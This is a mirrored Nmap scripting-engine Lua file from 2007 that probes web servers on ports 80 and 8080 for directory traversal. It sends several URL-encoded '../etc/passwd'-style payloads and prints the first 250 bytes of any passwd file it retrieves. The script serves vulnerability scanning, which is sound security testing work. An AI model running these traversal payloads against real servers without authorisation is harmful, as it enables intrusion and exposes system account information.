mirror of
https://github.com/nmap/nmap.git
synced 2025-12-08 13:41:29 +00:00
154 lines
3.0 KiB
Lua
154 lines
3.0 KiB
Lua
-- HTTP probe for /etc/passwd
|
|
-- 07/20/2007
|
|
|
|
-- Started with Thomas Buchanan's HTTPAuth.nse as a base
|
|
-- Applied some great suggestions from Brandon Enright, thanks a lot man!
|
|
|
|
id = "HTTP directory traversal passwd probe"
|
|
|
|
description = "Probe for /etc/passwd if server is susceptible to directory traversal"
|
|
|
|
author = "Kris Katterjohn <katterjohn@gmail.com>"
|
|
|
|
license = "Look at Nmap's COPYING"
|
|
|
|
categories = {"intrusive"}
|
|
|
|
require "shortport"
|
|
|
|
-- Check for a valid HTTP return code, and check
|
|
-- the supposed passwd file for validity
|
|
local validate = function(response)
|
|
local passwd
|
|
local line
|
|
local start, stop
|
|
|
|
-- Hopefully checking for only 200 won't bite me in the ass, but
|
|
-- it's the only one that makes sense and I haven't seen it fail
|
|
if response:match("HTTP/1.[01] 200") then
|
|
start, stop = response:find("\r\n\r\n")
|
|
passwd = response:sub(stop + 1)
|
|
else
|
|
return
|
|
end
|
|
|
|
start, stop = passwd:find("[\r\n]")
|
|
line = passwd:sub(1, stop)
|
|
|
|
if line:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") then
|
|
return passwd
|
|
end
|
|
|
|
return
|
|
end
|
|
|
|
-- Connects to host:port, send cmd, and returns the (hopefully valid) response
|
|
local talk = function(host, port, cmd)
|
|
local socket
|
|
local response
|
|
|
|
socket = nmap.new_socket()
|
|
|
|
socket:connect(host.ip, port.number)
|
|
|
|
socket:send(cmd)
|
|
|
|
response = ""
|
|
|
|
while true do
|
|
local status, lines = socket:receive_lines(1)
|
|
|
|
if not status then
|
|
break
|
|
end
|
|
|
|
response = response .. lines
|
|
end
|
|
|
|
socket:close()
|
|
|
|
return validate(response)
|
|
end
|
|
|
|
local httpget = function(str)
|
|
return "GET " .. str .. " HTTP/1.0\r\n\r\n"
|
|
end
|
|
|
|
local hexify = function(str)
|
|
local ret
|
|
ret = str:gsub("%.", "%%2E")
|
|
ret = ret:gsub("/", "%%2F")
|
|
ret = ret:gsub("\\", "%%5C")
|
|
return ret
|
|
end
|
|
|
|
-- Returns truncated passwd file and returned length
|
|
local truncatePasswd = function(passwd)
|
|
local len = 250
|
|
return passwd:sub(1, len), len
|
|
end
|
|
|
|
local output = function(passwd, dir)
|
|
local trunc, len = truncatePasswd(passwd)
|
|
local out = ""
|
|
out = out .. "Found with \"" .. dir .. "\"\n"
|
|
out = out .. "Printing first " .. len .. " bytes:\n"
|
|
out = out .. trunc
|
|
return out
|
|
end
|
|
|
|
portrule = shortport.port_or_service({80, 8080}, "http")
|
|
|
|
action = function(host, port)
|
|
local cmd, response
|
|
local dir
|
|
|
|
dir = "//etc/passwd"
|
|
cmd = httpget(hexify(dir))
|
|
|
|
response = talk(host, port, cmd)
|
|
|
|
if response then
|
|
return output(response, dir)
|
|
end
|
|
|
|
dir = string.rep("../", 10) .. "etc/passwd"
|
|
cmd = httpget(hexify(dir))
|
|
|
|
response = talk(host, port, cmd)
|
|
|
|
if response then
|
|
return output(response, dir)
|
|
end
|
|
|
|
dir = "." .. string.rep("../", 10) .. "etc/passwd"
|
|
cmd = httpget(hexify(dir))
|
|
|
|
response = talk(host, port, cmd)
|
|
|
|
if response then
|
|
return output(response, dir)
|
|
end
|
|
|
|
dir = string.rep("..\\/", 10) .. "etc\\/passwd"
|
|
cmd = httpget(hexify(dir))
|
|
|
|
response = talk(host, port, cmd)
|
|
|
|
if response then
|
|
return output(response, dir)
|
|
end
|
|
|
|
dir = string.rep("..\\", 10) .. "etc\\passwd"
|
|
cmd = httpget(hexify(dir))
|
|
|
|
response = talk(host, port, cmd)
|
|
|
|
if response then
|
|
return output(response, dir)
|
|
end
|
|
|
|
return
|
|
end
|
|
|